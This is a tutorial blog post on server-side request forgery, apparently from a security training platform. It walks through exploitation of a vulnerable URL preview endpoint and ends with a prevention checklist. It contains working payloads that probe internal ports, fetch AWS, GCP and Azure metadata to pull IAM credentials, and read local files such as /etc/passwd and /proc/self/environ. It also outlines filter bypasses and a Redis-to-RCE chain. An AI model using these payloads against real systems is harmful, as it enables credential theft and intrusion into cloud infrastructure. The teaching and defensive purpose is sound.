Server-Side Request Forgery (SSRF): A Hands-On Exploitation Guide

The $100 Million Bug Class

In 2019, a single SSRF vulnerability led to the breach of over 100 million customer records at a major US bank. The attacker exploited a misconfigured web application firewall to make requests to the cloud provider's internal metadata service, extracted temporary credentials, and used those credentials to access private S3 buckets. Total cost: hundreds of millions in fines, remediation, and reputational damage.

That was one SSRF. One request. One metadata endpoint.

SSRF earned its own category in the OWASP Top 10 (2021) for a reason. It is consistently one of the highest-impact findings in bug bounty programs, and it remains one of the most under-tested vulnerability classes in production applications.

This guide walks through how SSRF works, where to find it, how to exploit it step by step, and how to prevent it.

What Is SSRF?

Server-Side Request Forgery happens when an application takes a URL or network address from user input and makes a server-side request to that address without proper validation.

The critical distinction: the request originates from the server, not your browser. That server typically sits inside a private network, behind firewalls, with access to internal services, cloud metadata endpoints, and other infrastructure that is invisible from the outside.

SSRF request flow showing how an attacker manipulates a URL parameter to make the server fetch internal resources on their behalf

You are not attacking the server directly. You are convincing it to attack itself, or its neighbors, on your behalf.

Where SSRF Hides

SSRF does not live in one specific feature. It hides anywhere the application makes outbound requests based on user-supplied input.

Mind map of common SSRF targets: URL fetchers, webhooks, PDF generators, file importers, image processors, and API integrations

URL preview and fetchers. Social media cards, link previews, and URL validators all fetch remote content server-side. Supply an internal address instead of a public URL.

Webhook configurations. Applications that let you configure webhook URLs will make HTTP requests to whatever endpoint you specify. Point it at http://169.254.169.254 and see what comes back.

PDF and document generators. HTML-to-PDF engines that render user-supplied HTML will resolve embedded images and stylesheets. Embed an <img> tag pointing to an internal host.

File import by URL. "Import from URL" features in file upload flows. Instead of uploading a file, the server fetches it from a URL you provide.

Image processing. Avatar uploads that accept URLs, image resizing services, and screenshot tools. Any feature that downloads an image from a user-supplied address.

API integrations. Applications that proxy API calls or allow users to configure third-party service endpoints.

Types of SSRF

Not all SSRF behaves the same way. The type determines your exploitation approach.

Comparison of three SSRF types: in-band SSRF with full response, blind SSRF with no response, and semi-blind SSRF with partial feedback

In-Band (Classic) SSRF

The server fetches the resource and returns the full response to you. This is the jackpot. You can read internal files, query metadata APIs, and enumerate internal services directly.

Example: A URL preview feature that displays the fetched page content. Change the URL to http://localhost:8080/admin and the admin panel HTML comes back in the response.

Blind SSRF

The server makes the request, but you never see the response. The application might return a generic "success" or "error" message regardless of what happened on the backend.

Exploitation approach: Use an out-of-band channel. Point the SSRF at a server you control (a Burp Collaborator instance or a simple HTTP listener). If you receive a callback, you have confirmed the SSRF. From there, you can infer internal network topology by timing differences: requests to open ports return faster than requests to closed ports or non-existent hosts.

Semi-Blind SSRF

You get partial feedback. Maybe the response length differs, the response time varies, or error messages change based on whether the internal resource exists. Enough signal to map internal services without seeing full responses.

Step-by-Step Exploitation

Here is the practical walkthrough. We will use a deliberately vulnerable URL preview feature as our target.

Step 1: Identify the Injection Point

Intercept the request in your proxy. Look for a parameter that carries a URL:

POST /api/preview HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/json

{"url": "https://example.com/article"}

The url parameter is server-fetched. This is your injection point.

Step 2: Test for Basic SSRF

Replace the URL with a localhost address:

{"url": "http://127.0.0.1"}

If the response includes the server's own default page, internal service banner, or any content that is not publicly accessible, you have confirmed SSRF.

Step 3: Probe the Internal Network

Enumerate internal services by varying the port:

{"url": "http://127.0.0.1:22"}    // SSH
{"url": "http://127.0.0.1:3306"}  // MySQL
{"url": "http://127.0.0.1:6379"}  // Redis
{"url": "http://127.0.0.1:8080"}  // Internal web app
{"url": "http://127.0.0.1:9200"}  // Elasticsearch

Different response times or error messages for each port reveal which services are running internally.

Step 4: Hit the Cloud Metadata

This is where SSRF becomes critical. Every major cloud provider exposes an internal metadata service at a well-known IP:

// AWS Instance Metadata (IMDSv1)
{"url": "http://169.254.169.254/latest/meta-data/"}

// List IAM credentials
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

// GCP metadata
{"url": "http://metadata.google.internal/computeMetadata/v1/"}

// Azure metadata
{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}

On AWS with IMDSv1, a successful request to the IAM credentials endpoint returns temporary AccessKeyId, SecretAccessKey, and Token values. Those credentials grant whatever permissions the instance role has: S3 buckets, databases, other AWS services.

Step 5: Read Local Files (Protocol Smuggling)

If the application does not restrict protocols, try the file:// scheme:

{"url": "file:///etc/passwd"}
{"url": "file:///etc/hostname"}
{"url": "file:///proc/self/environ"}  // Environment variables (may contain secrets)

This reads arbitrary files from the server's filesystem. Environment variables frequently contain database passwords, API keys, and session secrets.

Bypass Techniques

Most modern applications have some level of URL validation. Here is how testers evaluate whether those filters are sufficient.

IP Address Encoding — Alternative representations of 127.0.0.1 (hex, decimal, octal, IPv6, abbreviated) that slip past naive blocklists.
DNS Rebinding — A domain that resolves to an allowed IP during validation, then to an internal IP when the server actually fetches.
Redirect Chains — Your external URL passes validation, but the server follows a 302 redirect to an internal target.
URL Parser Confusion — The validator and the HTTP library parse ambiguous URLs differently (userinfo, fragments, encoding).

SSRF to Full Compromise

SSRF is rarely the end of the chain. It is the door opener.

Attack chain escalation flow showing SSRF leading to credential theft, lateral movement, data exfiltration, and remote code execution

Cloud Credential Theft — Metadata API to IAM credentials to S3 exfiltration. The Capital One breach pattern.
Internal Admin Access — Reach an admin panel that trusts requests from localhost. No auth required.
Redis to RCE — Use gopher:// to send raw commands to an unauthenticated Redis instance, writing a cron job or SSH key.
Internal API Abuse — Hit microservices that skip authentication for "internal" callers.

Prevention

SSRF prevention is not about one fix. It requires defense in depth.

Maintain an allowlist of permitted domains and IP ranges. Deny everything else by default.
Validate and sanitize the resolved IP address, not just the hostname. Check after DNS resolution to prevent rebinding.
Block requests to private IP ranges (10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x, ::1).
Disable unnecessary URL schemes. Only allow http:// and https://. Block file://, gopher://, dict://, ftp://.
Do not follow redirects on server-side requests, or re-validate the destination after each redirect.
Upgrade to IMDSv2 on AWS instances. IMDSv2 requires a PUT request with a token header, which SSRF payloads through GET-based fetchers cannot satisfy.
Apply network segmentation. The web application server should not have network access to sensitive internal services it does not need.
Strip or ignore the response body when only a status check is needed. Do not reflect fetched content to the user.
Implement egress filtering at the firewall level. Restrict outbound connections from application servers to known, necessary destinations.
Log and monitor outbound requests from application servers. Alert on connections to metadata endpoints or internal IP ranges.

Wrapping Up

SSRF is deceptively simple. An application fetches a URL you control. But the blast radius, especially in cloud environments, is enormous. One parameter, one metadata endpoint, one set of temporary credentials, and you are inside the infrastructure.

The patterns here are not theoretical. They are the exact techniques used in real-world pentests and bug bounty programs. The Capital One breach, countless HackerOne reports, and OWASP's decision to give SSRF its own Top 10 category all point to the same conclusion: this vulnerability class demands attention.

If you are building applications, audit every feature that makes server-side HTTP requests. If you are testing them, SSRF should be near the top of your checklist.

Want hands-on practice? Our platform includes isolated lab environments where you can practice SSRF exploitation techniques against deliberately vulnerable applications, from basic in-band SSRF to cloud metadata extraction, in a safe and legal setting.